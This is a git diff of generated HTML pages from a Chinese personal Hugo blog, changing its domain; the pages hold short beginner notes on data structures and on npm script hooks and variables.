123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>数据结构学习笔记</h1><div class=post-meta><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系</p><p>数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）</p><p>集合：结构中的元素除了同属于一个集合外，没有别的关系</p><p>线性结构：结构中的元素之间存在一对一的关系，一个对应一个</p><p>数性结构：结构中的元素之间存在一对多的关系</p><p>图形结果或者网状结构：结构中的任意元素都可以有关系</p><p>顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3</p><p>链式结构：每一个数据元素都是随机存放</p><hr><p>栈：线性结构的一种特殊的存储方式</p><p>数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面</p><p>数据的获取也是才上面往下面获取的</p><p>顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/>数据结构</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/109/><span class=title>« Prev</span><br><span>简单了解并且使用npm script</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/105/><span class=title>Next »</span><br><span>NodeJS常用工具的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"数据结构学习笔记","item":"https://chenjunlinabc.github.io/posts/106/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"数据结构学习笔记","name":"数据结构学习笔记","description":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一","keywords":["数据结构"],"articleBody":"数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系\n数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）\n集合：结构中的元素除了同属于一个集合外，没有别的关系\n线性结构：结构中的元素之间存在一对一的关系，一个对应一个\n数性结构：结构中的元素之间存在一对多的关系\n图形结果或者网状结构：结构中的任意元素都可以有关系\n顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3\n链式结构：每一个数据元素都是随机存放\n栈：线性结构的一种特殊的存储方式\n数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面\n数据的获取也是才上面往下面获取的\n顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一\n","wordCount":"12","inLanguage":"en","datePublished":"2021-09-17T01:00:00Z","dateModified":"2021-09-17T01:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/106/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>数据结构学习笔记</h1><div class=post-meta><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>数据结构其实就是带结构的数据元素的集合，结构是数据元素之间的关系</p><p>数据结构（数组，字符串，队列，栈，链表，集合，哈希表（散列表），树（二叉树），图）</p><p>集合：结构中的元素除了同属于一个集合外，没有别的关系</p><p>线性结构：结构中的元素之间存在一对一的关系，一个对应一个</p><p>数性结构：结构中的元素之间存在一对多的关系</p><p>图形结果或者网状结构：结构中的任意元素都可以有关系</p><p>顺序结构：数据元素按照一个排序（规律）顺序存放，例如1，2，3</p><p>链式结构：每一个数据元素都是随机存放</p><hr><p>栈：线性结构的一种特殊的存储方式</p><p>数据存储是按照先进后出的原理，先进入的数据，放在最下面，最后进入的放在最前面</p><p>数据的获取也是才上面往下面获取的</p><p>顺序栈：会在顺序栈中设置一个永远指向顶部元素的变量，当这个变量为-1的时候，说明这个栈没有元素，而存储一个元素就加一，获取就减一</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/>数据结构</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/109/><span class=title>« Prev</span><br><span>简单了解并且使用npm script</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/105/><span class=title>Next »</span><br><span>NodeJS常用工具的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/109/index.html b/posts/109/index.html
index 089eb0bf..d10ef6e8 100644
--- a/posts/109/index.html
+++ b/posts/109/index.html
@@ -1,78 +1,78 @@
 <!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>简单了解并且使用npm script | 小陈的个人博客</title><meta name=keywords content="npm"><meta name=description content="npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js&#34;
}
npm run dev // 等于执行node hallo.js
+&#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js&#34; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&#34;scripts&#34;: {
&#34;predev&#34;: &#34;echo hallo&#34;,
&#34;dev&#34;: &#34;node hallo.js&#34;,
&#34;postdev&#34;: &#34;echo yes&#34;
}
相对于npm run predev && npm run dev && npm run postdev
+&#34;scripts&#34;: { &#34;predev&#34;: &#34;echo hallo&#34;, &#34;dev&#34;: &#34;node hallo.js&#34;, &#34;postdev&#34;: &#34;echo yes&#34; } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34;
}
}
获取npm内部变量name
+{ &#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&#34;scripts&#34;: {
&#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34;
}
传递参数"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/109/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解并且使用npm script"><meta property="og:description" content="npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js&#34;
}
npm run dev // 等于执行node hallo.js
+&#34;scripts&#34;: { &#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34; } 传递参数"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/109/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单了解并且使用npm script"><meta property="og:description" content="npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+&#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js&#34; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&#34;scripts&#34;: {
&#34;predev&#34;: &#34;echo hallo&#34;,
&#34;dev&#34;: &#34;node hallo.js&#34;,
&#34;postdev&#34;: &#34;echo yes&#34;
}
相对于npm run predev && npm run dev && npm run postdev
+&#34;scripts&#34;: { &#34;predev&#34;: &#34;echo hallo&#34;, &#34;dev&#34;: &#34;node hallo.js&#34;, &#34;postdev&#34;: &#34;echo yes&#34; } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34;
}
}
获取npm内部变量name
+{ &#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&#34;scripts&#34;: {
&#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34;
}
传递参数"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/109/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-20T14:30:00+00:00"><meta property="article:modified_time" content="2021-09-20T14:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解并且使用npm script"><meta name=twitter:description content="npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js&#34;
}
npm run dev // 等于执行node hallo.js
+&#34;scripts&#34;: { &#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34; } 传递参数"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/109/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-20T14:30:00+00:00"><meta property="article:modified_time" content="2021-09-20T14:30:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单了解并且使用npm script"><meta name=twitter:description content="npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+&#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js&#34; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&#34;scripts&#34;: {
&#34;predev&#34;: &#34;echo hallo&#34;,
&#34;dev&#34;: &#34;node hallo.js&#34;,
&#34;postdev&#34;: &#34;echo yes&#34;
}
相对于npm run predev && npm run dev && npm run postdev
+&#34;scripts&#34;: { &#34;predev&#34;: &#34;echo hallo&#34;, &#34;dev&#34;: &#34;node hallo.js&#34;, &#34;postdev&#34;: &#34;echo yes&#34; } 相对于npm run predev && npm run dev && npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: {
&#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34;
}
}
获取npm内部变量name
+{ &#34;name&#34;: &#34;root&#34;, &#34;scripts&#34;: { &#34;dev&#34;: &#34;node hallo.js $npm_package_name&#34; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&#34;scripts&#34;: {
&#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; && exit 1&#34;
}
传递参数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单了解并且使用npm script","item":"https://xiaochenabc123.github.io/posts/109/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单了解并且使用npm script","name":"简单了解并且使用npm script","description":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;\r}\rnpm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026amp;\u0026amp;（依次运行），\u0026amp;（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;predev\u0026quot;: \u0026quot;echo hallo\u0026quot;,\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js\u0026quot;,\r\u0026quot;postdev\u0026quot;: \u0026quot;echo yes\u0026quot;\r}\r相对于npm run predev \u0026amp;\u0026amp; npm run dev \u0026amp;\u0026amp; npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{\r\u0026quot;name\u0026quot;: \u0026quot;root\u0026quot;, \u0026quot;scripts\u0026quot;: {\r\u0026quot;dev\u0026quot;: \u0026quot;node hallo.js $npm_package_name\u0026quot;\r}\r}\r获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;echo \\\u0026quot;Error: no test specified\\\u0026quot; \u0026amp;\u0026amp; exit 1\u0026quot;\r}\r传递参数","keywords":["npm"],"articleBody":"npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：\n\"scripts\": {\r\"dev\": \"node hallo.js\"\r}\rnpm run dev // 等于执行node hallo.js\n查看当前项目的全部npm脚本\nnpm run\n注意：当前项目的node_modules/bin下的全部依赖都可以直接访问\n如果要执行多个脚本可以用\u0026\u0026（依次运行），\u0026（并行运行）\nnpm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：\n\"scripts\": {\r\"predev\": \"echo hallo\",\r\"dev\": \"node hallo.js\",\r\"postdev\": \"echo yes\"\r}\r相对于npm run predev \u0026\u0026 npm run dev \u0026\u0026 npm run postdev\n像install，uninstall，publish，test，start等等都有pre和post这两个钩子\n查看正在运行的脚本\nconst NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)\n可以缩写不用run，例如：npm dev\nnpm script可以使用npm内部变量，例如：\n{\r\"name\": \"root\", \"scripts\": {\r\"dev\": \"node hallo.js $npm_package_name\"\r}\r}\r获取npm内部变量name\nconsole.log(process.env.npm_package_name)\n脚本错误抛出\n\"scripts\": {\r\"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\"\r}\r传递参数\n{\r\"scripts\": {\r\"dev\": \"node hallo.js\"\r}\r}\rconst name = process.env.npm_config_name console.log(name)\nnpm run dev –name=root\n可以看到获取到了参数name的值\n","wordCount":"100","inLanguage":"en","datePublished":"2021-09-20T14:30:00Z","dateModified":"2021-09-20T14:30:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/109/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" 